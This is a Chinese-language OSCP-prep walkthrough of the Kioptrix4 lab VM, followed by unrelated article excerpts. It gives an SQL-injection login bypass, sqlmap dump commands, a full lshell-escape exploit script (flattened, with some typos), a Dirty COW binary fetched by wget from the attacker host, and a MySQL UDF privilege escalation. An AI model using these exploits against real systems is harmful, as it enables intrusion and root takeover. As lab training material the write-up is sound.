OSCP备战-Kioptrix4详细教程
目录
配置靶机
目标IP探测
编辑端口扫描
139/445端口 Samba
80端口获取shell
绕过lshell
方法一
编辑
方法二
编辑提权
内核漏洞
mysql udf提权
配置靶机
使用vm新建虚拟机,选择vmdk文件打开。
目标IP探测
arp-scan -l
得出目标IP:192.168.155.167
也可以使用
netdiscover -i eth0 -r 192.168.155.0/24
也可以使用
nmap -sN 192.168.155.0/24 --min-rate 1000

端口扫描
nmap -sV -sT --min-rate 1000 -p1-65535 IP
结果:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-11 21:53 EDT
Nmap scan report for 192.168.155.167
Host is up (0.0020s latency).
Not shown: 39528 closed tcp ports (conn-refused), 26003 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:36:BD:8F (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
139/445端口 Samba
发现催脆弱端口Samba:用于在同一局域网的Linux与windows系统直接的文件共享和打印共享的软件
并且标出了版本号3.x-4.x
msf中使用smb_version看到是3.0.28
然鹅我验证了很多CVE漏洞和payloads,发现都无法实现
80端口获取shell
访问一下,开局一个登录框
尝试万能密码,发现密码框可以
' or '1' =1 #
显示的内容好像没啥用,但是url怎么有个username=admin
猜测修改username的值,如果值存在于数据库中即显示信息
dirsearch扫出了database.sql,访问一下
发现了id=1 username=john的账号
果然信息改变了,虽然也没有什么用
回到登录框
username填john,password填1234试一下
报错,改变password = 123'
存在报错注入
利用sqlmap进行post注入:
搜索表单:
sqlmap -u http://192.168.155.167/member.php --forms
找到表单值后查询数据库:
sqlmap -u http://192.168.155.167/member.php --forms --dbs
填值就是一直:
myusername=john&mypassword=test'&Submit=Login
表:
sqlmap -u http://192.168.155.167/member.php --forms -D members --tables
字段:
sqlmap -u http://192.168.155.167/member.php --forms -p mypassword -D members -T members --columns --batch
值:
sqlmap -u http://192.168.155.167/member.php --forms -p mypassword --batch --level 3 -D members -T members -C 'username,password' --dump
出来结果了:
robert/ADGAdsafdfwt4gadfga==
john/MyNameIsJohn
由于端口扫描的时候开启了ssh连接,尝试连接一下
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa john@192.168.155.167
ssh -oHostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa robert@192.168.155.167
都能连接上,但是help一下可用命令,发现少的可怜,似乎是lshell
绕过lshell
方法一
在连接上靶机后执行
echo os.system("/bin/ksell")
方法二
在kali机中执行命令
cd tmp
searchspolit lshell
下载:
searchspolit -m 39632.c
查看使用条件:
vim 39632.py
因为这个脚本的编译环境是python2的,我就改成了python3可以编译的版本如下
import paramiko
import traceback
import sys
from time import sleep#
# Exploit lshell pathing vulnerability in <= 0.9.15.
# Runs commands on the remote system.
# @dronesec
#if len(sys.argv) < 4:print(f'{sys.argv[0]}: [USER] [PW] [IP] {{opt: port}}')sys.exit(1)try:print('[!] .............................')print('[!] lshell <= 0.9.15 remote shell.')print('[!] note: you can also ssh in and execute \'/bin/bash\'')print('[!] .............................')print(f'[!] Checking host {sys.argv[3]}...')ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())if len(sys.argv) == 5:ssh.connect(sys.argv[3], port=int(sys.argv[4]), username=sys.argv[1], password=sys.argv[2])else:ssh.connect(sys.argv[3], username=sys.argv[1], password=sys.argv[2])# Verify lshellchannel = ssh.invoke_shell()while not channel.recv_ready():sleep(1)ret = channel.recv(2048).decode('utf-8', errors='ignore')channel.send('help help\n')while not channel.recv_ready():sleep(1)ret = channel.recv(2048).decode('utf-8', errors='ignore')if 'lshell' not in ret:if 'forbidden' in ret:print('[-] Cannot execute SSH commands')else:print('[-] Not an lshell environment')sys.exit(1)# Check vulnerabilitychannel.send('sudo\n')while not channel.recv_ready():sleep(1)ret = channel.recv(2048).decode('utf-8', errors='ignore')if 'Traceback' not in ret:print('[-] lshell version not vulnerable')sys.exit(1)channel.close()ssh.close()# Start pseudo-shellprint('[+] Vulnerable lshell found, starting shell...')ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())if len(sys.argv) == 5:ssh.connect(sys.argv[3], port=int(sys.argv[4]),username=sys.argv[1], password=sys.argv[2])else:ssh.connect(sys.argv[3],username=sys.argv[1], password=sys.argv[2])while True:try:cmd = input('$ ')if not cmd:continueif cmd.startswith('/'):print('[!] Avoid absolute paths')continue# Escape payloadcmd = cmd.replace("'", r"\'")py_cmd = f'echo __import__(\'os\').system(\'{cmd.replace(" ", r"\t")}\')'if cmd.lower() in ('exit', 'quit'):break_, stdout, _ = ssh.exec_command(py_cmd)out = stdout.read().decode('utf-8', errors='replace')print(out.strip())except KeyboardInterrupt:print('\n[!] Ctrl+C detected, exiting...')breakexcept paramiko.AuthenticationException:print(f'[-] Authentication failed for {sys.argv[3]}')
except Exception as e:print(f'[-] Error: {str(e)}')traceback.print_exc(file=sys.stdout)
finally:if 'ssh' in locals():ssh.close()if 'channel' in locals() and not channel.closed:channel.close()
保存为1.py,利用:
python 1.py john MyNameIsJohn 192.168.155.167

提权
内核漏洞
查看内核版本:
uname -a
2.6.24,貌似可以使用脏牛提权
查看端口
netstate -tulnp
第一次尝试发现靶机没有gcc,无法编译,欧克准备直接下载编译好的版本
cd tmp
gcc -pthread dirtyc.c -o dirty -lcrypt
python -m http.server 9988
wget http://192.168.155.166/dirty
第二次发现文件没有执行权限,加个权限
chmod +x dirty
第三次发现不能执行二进制文件,嘻嘻
mysql udf提权
看端口的时候发现开启了3306端口,再看看mysql udf提权
find /var/www -name *.php
cat /var/www/checklogin.php
看到root/,连接
mysql -u root -p
回车即可连接
查看mysql udf表
SELECT * FROM mysql.func;
已经有可执行函数了,添加john到管理员:
select sys_exec('usermod -a -G admin john ');
exit
执行
sudo su
成功
相关文章:
OSCP备战-Kioptrix4详细教程
目录 配置靶机 目标IP探测 编辑端口扫描 139/445端口 Samba 80端口获取shell 绕过lshell 方法一 编辑 方法二 编辑提权 内核漏洞 mysql udf提权 配置靶机 使用vm新建虚拟机,选择vmdk文件打开。 目标IP探测 arp-scan -l 得出目标IP:19…...
清华大学开源软件镜像站地址
清华大学开源软件镜像站: https://mirrors.tuna.tsinghua.edu.cn/...
java基础-package关键字、MVC、import关键字
1.package关键字: (1)为了更好管理类,提供包的概念 (2)声明类或接口所属的包,声明在源文件首行 (3)包,属于标识符,用小写字母表示 ࿰…...
uniapp(vue3)动态计算swiper高度封装自定义hook
// useCalculateSwiperHeight.ts import { ref, onMounted } from vue;export function useCalculateSwiperHeight(headerSelector: string .header-search, tabsWrapperSelector: string .u-tabs .u-tabs__wrapper) {const swiperHeight ref<number>(0);// 封装uni.g…...
Java SpringMVC 和 MyBatis 整合项目的事务管理配置详解
目录 一、事务管理的基本概念二、在 SpringMVC 和 MyBatis 整合项目中配置事务管理1. 配置数据源2. 配置事务管理器3. 使用事务注解4. 配置 MyBatis 的事务支持5. 测试事务管理三、总结在企业级应用开发中,事务管理是确保数据一致性和完整性的重要机制。特别是在整合了 Spring…...
C++的历史与发展
目录 一、C 的诞生与早期发展 (一)C 语言的兴起与局限 (二)C 的雏形:C with Classes (三)C 命名与早期特性丰富 二、C 的主要发展历程 (一)1985 年:经典…...
亚马逊云科技:引领数字时代的云服务先锋
在数字经济浪潮席卷全球的当下,企业和个人面临着数据爆炸、业务快速迭代等诸多挑战,亟需强大且灵活的云计算能力助力发展。亚马逊云科技凭借多年深耕与创新,成为数字时代的云服务先锋,为用户打造全方位、高质量的云计算解决方案。…...
基于Java和PostGIS的AOI面数据球面面积计算实践
目录 前言 一、计算方法简介 二、球面面积计算 1、AOI数据转Polygon 2、Geotools面积计算 3、GeographicLib面积计算 4、PostGIS面积计算 三、结果分析 1、不同算法结果对比 2、与互联网AOI对比 3、与天地图测面对比 四、总结 前言 在现代地理信息系统(G…...
新建一个reactnative 0.72.0的项目
npx react-native0.72.0 init ProjectName --version 0.72.0 下面是初始化,并且添加了对应路由的库依赖,Android项目能run起来的版本号 { "name": "ProjectName", "version": "0.0.1", "private&quo…...
计算机网络网络层(下)
一、互联的路由选择协议(网络层控制层面内容) (一)有关路由选择协议的几个概念 1.理想的路由算法 (1)理想路由算法应具备的特点:算法必须正确和完整的,算法在计算上应简单&#x…...
Visual studio 打包方法
1.扩展->搜索“”install“->下载 2.安装(安装后重新启动visual studio) 3.在已有的解决方案上右键 添加 ** 新建项目 4.在该模板下有三个文件夹 第一个文件夹(Application Folder)添加 你已有c#的releas 的程序exe 所在…...
ubuntu---100条常用命令
目录 一、文件与目录管理二、系统信息与管理三、用户与权限管理四、网络配置与管理五、软件包管理六、其他常用命令 在 Ubuntu 系统中,掌握常用命令能显著提升操作效率。以下是 100 条常用命令,涵盖文件管理、系统信息、用户权限、网络配置、软件包管理等…...
UI-TARS Desktop:用自然语言操控电脑,AI 重新定义人机交互
在人工智能技术飞速发展的今天,从文本生成到图像识别,AI 的能力边界不断被打破。而字节跳动近期开源的 UI-TARS Desktop,则将这一技术推向了更复杂的交互场景——通过自然语言直接控制计算机界面,实现了图形用户界面(GUI)的智能化自动化。这款工具不仅降低了操作门槛,更…...
Linux精确列出非法 UTF-8 字符的路径或文件名
Docker构建的时候报错:failed to solve: Internal: rpc error: code = Internal desc = grpc: error while marshaling: string field contains invalid UTF-8 1、创建一个test.sh文件 find . -print0 | while IFS= read -r -d file;...
ubuntu部署supabase
安装supabse https://supabase.com/docs/guides/local-development/cli/getting-started?queryGroupsplatform&platformlinux brew install supabase/tap/supabase supabase init supabase start需要使用brewuser进行安装: brew安装参考链接: ht…...
《Effective Python》第1章 Pythonic 思维总结——编写优雅、高效的 Python 代码
《Effective Python》第1章 Pythonic 思维总结——编写优雅、高效的 Python 代码 在编程的世界里,每个语言都有其独特的风格和最佳实践。对于 Python 而言,“Pythonic”已经成为描述遵循 Python 特定风格的代码的代名词。这种风格不仅让代码更易读、更简…...
线代第二章矩阵第八节逆矩阵、解矩阵方程
文章目录 逆矩阵定义推论可逆性质 解矩阵方程 逆矩阵 定义 设A为n阶方阵,若存在n阶方阵B,使ABBAE,那么A就是可逆阵, 只有方阵有资格讨论可逆还是不可逆 若A可逆,逆阵是唯一的 未必所有方阵都可逆!! 比方说&#…...
Java SE(12)——异常(Exception)
1.概念 在Java中,异常(Exception)是指程序在运行过程中发生的不正常情况 例如: 算数异常(ArithmeticException) 空指针异常(NullPointerException) 数组越界异常(ArrayIndexOutOfBoundsException) 根据上述的异常信息可以看出:每个具体的异…...
力扣算法---总结篇
5.13 数组总结 数组是存放在连续内存空间上的相同类型数据的集合。 数组可以方便的通过下标索引的方式获取到下标对应的数据。 正是因为数组在内存空间的地址是连续的,所以我们在删除或者增添元素的时候,就难免要移动其他元素的地址。 数组的元素是不…...
空指针检测方法
空指针检测有以下几种常见方法: 静态代码分析 工具检测 :利用专业的静态代码分析工具,如 国产的库博静态代码检测工具(COBOT)、Checkmarx、Fortify、PVS-Studio 等,这些工具可以在不实际运行程序的情况下…...
Kubernetes Horizontal Pod Autosscaler(HPA)核心机制解析
一、HPA设计目标 弹性伸缩:根据实时负载动态调整Pod副本,平衡资源利用率与服务可用性声明式管理:通过目标指标阈值定义扩缩容规则,而非手动干预多云兼容:无缝集成云原生监控体系,支持混合云场景 二、核心…...
现代化QML组件开发教程
现代化QML组件开发教程 目录 QML基础介绍QML项目结构基本组件详解自定义组件开发状态与过渡高级主题最佳实践 QML基础介绍 什么是QML QML (Qt Meta Language) 是一种声明式语言,专为用户界面设计而创建。它是Qt框架的一部分,让开发者能够创建流畅、…...
DeepBook 与 CEX 的不同
如果你曾经使用过像币安或 Coinbase 这样的中心化交易所(CEX),你可能已经熟悉了订单簿系统 — — 这是一种撮合买卖双方进行交易的机制。而 DeepBook 是 Sui 上首个完全链上的中央限价订单簿。 那么,是什么让 DeepBook 如此独特&…...
《构建社交应用的安全结界:双框架对接审核API的底层逻辑与实践》
用户生成内容如潮水般涌来。从日常的生活分享,到激烈的观点碰撞,这些内容赋予社交应用活力,也带来管理难题。虚假信息、暴力言论、侵权内容等不良信息,如同潜藏的暗礁,威胁着社交平台的健康生态。内容审核机制…...
hashicorp vault机密管理系统的国产化替代:安当SMS凭据管理系统,量子安全赋能企业密钥管理
引言:国产化替代浪潮下的密钥管理新机遇 在数字化转型与信息安全自主可控的双重驱动下,企业级密钥管理市场正迎来前所未有的变革。传统海外解决方案如HashiCorp Vault虽功能强大,但在国产化适配、量子安全前瞻性布局等方面逐渐显现局限性。与…...
详解注意力机制
## 1. 引言 注意力机制(Attention Mechanism)是深度学习领域中的一项关键技术,最初源于人类视觉注意力的启发。在人类视觉系统中,我们能够快速识别图像中的重要区域,同时忽略不相关的部分。注意力机制将这种能力引入到…...
从 Vue3 回望 Vue2:响应式的内核革命
从 Vue3 回望 Vue2 02 | 响应式的内核革命:从 defineProperty 到 Proxy一、Vue2 的响应式系统:defineProperty 的极限边界1.1 基础实现机制1.2 Vue2 的典型痛点❌ 无法侦测新增属性❌ 无法拦截数组索引❌ 深层递归导致性能问题❌ 对象粒度低、不可统一代…...
[Java实战]Spring Boot 3构建 RESTful 风格服务(二十)
[Java实战]Spring Boot 3构建 RESTful 风格服务(二十) 一. 环境准备 openJDK 17:Spring Boot 3 要求 Java 17 及以上。Spring Boot 3.4.5:使用最新稳定版。Ehcache 3.10:支持 JSR-107 标准,兼容 Spring C…...
--openssl-legacy-provider is not allowed in NODE_OPTIONS 报错的处理方式
解决方案 Node.js 应用: 从 Node.js v17 开始,底层升级到 OpenSSL 3.0,可能导致旧代码报错(如 ERR_OSSL_EVP_UNSUPPORTED)。 通过以下命令启用旧算法支持: node --openssl-legacy-provider your_script.js…...
【MySQL】第三弹——表的CRUD进阶(一)数据库约束
文章目录 🚀数据库的约束<font color #FF0000 size3>约束类型:🪐<font color #FF0000 size3>①.NOT NULL非空约束🪐<font color #FF0000 size3>②.UNIQUE唯一性约束🪐<font color #FF0000 size3>③.DEFAU…...
python通过curl访问deepseek的API调用案例
废话少说,开干! API申请和充值 下面是deepeek的API网站 https://platform.deepseek.com/ 进去先注册,是不是手机账号密码都不重要,都一样,完事充值打米,主要是打米后左侧API Keys里面创建一个API Keys&am…...
哈希表:数据世界的超级索引
在数据的浩瀚宇宙中,哈希表就像是一座超级图书馆的索引系统,能够让我们瞬间找到所需的信息。作为 C 算法小白,今天我就带大家一起探索这座神奇的图书馆,揭开哈希表的神秘面纱。 什么是哈希表? 哈希表(Has…...
RDMA网络通信技术、NCCL集合通讯(GPU)
在高性能计算(HPC)、人工智能训练和数据密集型场景中,RDMA(远程直接内存访问) 和 NCCL(NVIDIA Collective Communications Library)是两项关键技术,用于优化节点间数据传输效率和大规…...
无人机失联保护模块技术解析!
一、技术要点 1. 信号监测与状态判断 实时信号质量评估:通过监测信号强度(RSSI)、误码率、信道质量等参数,动态判断是否触发失联保护。 多源冗余设计:结合GPS、视觉定位(如底部光学/红外传感器&#x…...
用自写的jQuery库+Ajax实现了省市联动
1. 省市联动:在网页上,选择对应的省份之后,动态的关联出该省份对应的市。选择对应的市之后,动态地关联出城市对应的区。 2. 设计数据库表 t_area (区域表) id(PK-自增) code name pcode ------------…...
Promise.all静态方法
由于是Promise类的静态方法 所以 使用类名.方法名() 的形式调用...
在Flutter上如何实现按钮的拖拽效果
1、使用 Draggable 和 DragTarget 配合一起使用 Draggable 定义可拖拽对象和拖动时,拖动对象的样子 DragTarget 定义拖拽后接收对象,可拿到Draggable携带的数据 import package:flutter/material.dart;class Test extends StatefulWidget {const Test({s…...
linux入门学习(介绍、常用命令、vim、shell)
文章目录 前言Linux介绍Linux内核版本Linux发行版本Linux的安装(仅作参考)Linux系统启动过程加载内核启动初始化进程init确定运行级别加载开机启动程序用户登录 Linux文件目录文件类型 Linux终端命令行格式查阅命令帮助信息tab键自动补全终端命令行中的常…...
archlinux中挂载macOS的硬盘
问: 你好,我如何在archlinux中挂载macOS的硬盘呢?/dev/sda4 5344161792 7813773311 2469611520 1.2T Apple HFS/HFS AI回答: 你好!在 Arch Linux 中挂载 macOS 的 HFS 或 HFS 硬盘(例如 /dev/sda4&#x…...
Java Web 应用安全响应头配置全解析:从单体到微服务网关的实践
背景:为什么安全响应头至关重要? 在 Web 安全领域,响应头(Response Headers)是防御 XSS、点击劫持、跨域数据泄露等攻击的第一道防线。通过合理配置响应头,可强制浏览器遵循安全策略,限制恶意行…...
Generative Diffusion Prior for Unified Image Restoration and Enhancement论文阅读
Generative Diffusion Prior for Unified Image Restoration and Enhancement 1. 论文的研究目标及实际意义1.1 研究目标1.2 实际问题与产业意义2. 论文的创新方法及公式解析2.1 核心思路2.2 关键公式与算法2.2.1 DDPM基础2.2.2 条件引导概率建模2.2.3 两种引导策略2.2.4 退化模…...
MongoDB 的主要优势和劣势是什么?适用于哪些场景?
MongoDB 的主要优势 (Advantages) 灵活的文档模型 (Flexible Document Model): 无需预定义模式 (Schemaless/Flexible Schema): 这是 MongoDB 最核心的优势之一。它存储 JSON 格式的文档,每个文档可以有不同的字段和结构。这使得在开发过程中修改数据结构非常容易&a…...
人脸识别备案:筑牢人脸信息 “安全墙”
人脸识别备案制度主要依据《人脸识别技术应用安全管理办法》建立,人脸识别技术广泛应用于安防、金融、门禁、交通等领域,带来便利高效的同时,人脸信息安全问题也引发担忧。为规范技术应用、保护个人信息权益,人脸识别备案制度应运…...
Excelize 开源基础库发布 2.9.1 版本更新
Excelize 是 Go 语言编写的用于操作 Office Excel 文档基础库,基于 ECMA-376,ISO/IEC 29500 国际标准。可以使用它来读取、写入由 Excel、WPS、OpenOffice 等办公软件创建的电子表格文档。支持 XLAM / XLSM / XLSX / XLTM / XLTX 等多种文档格式…...
工具类------对象与 Map 之间的相互转换
entity2Map - 将 Java 对象转换为 Mapmap2Entity - 将 Map 转换为 Java 对象 package com.toolconclusion.transition;import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;public class E…...
BGP实验练习2
需求: 1.AS1存在两个环回,一个地址为192.168.1.0/24,该地址不能再任何协议中宣告 AS3存在两个环回,该地址不能再任何协议中宣告 AS1还有一个环回地址为10.1.1.0/24,AS3另一个环回地址是11.1.1.0/24 最终要求这两…...
centos7.x下,使用宝塔进行主从复制的原理和实践
操作原理: 一、主库配置 1.修改 MySQL 配置文件 # 编辑主库配置文件(路径根据实际系统可能不同) vim /etc/my.cnf # 添加以下配置 [mysqld] server-id 1 # 唯一 ID,主库设置为 1 log-bin mysql-bin …...
项目图标组件处理
我们如何复用项目里的图标,如何维护和引用图标? 为了形成便于使用的图标库,做了如下调研: iconfont(webfont)unocsssvgriconParkunplugin-icons 我们希望达到的目的 开发自行维护,而不是由设…...
el-tree结合checkbox实现数据回显
组件代码 <el-tree:data"vertiList"show-checkboxnode-key"id":props"defaultProps"ref"treeRefx"class"custom-tree"check-change"handleCheckChange"> </el-tree>获取选择的节点 handleCheckChan…...
虚拟机Ubuntu系统怎么扩展容量,扩展容量后进不去系统怎么办?
当我解压大文件时,突然报错,说我空间不足,我关闭虚拟机,删除了快照,在设置里点击扩展容量后,发现进不去系统了。 1.扩展容量 扩展容量需要关闭快照,请提前做好数据备份! 2.进不去界…...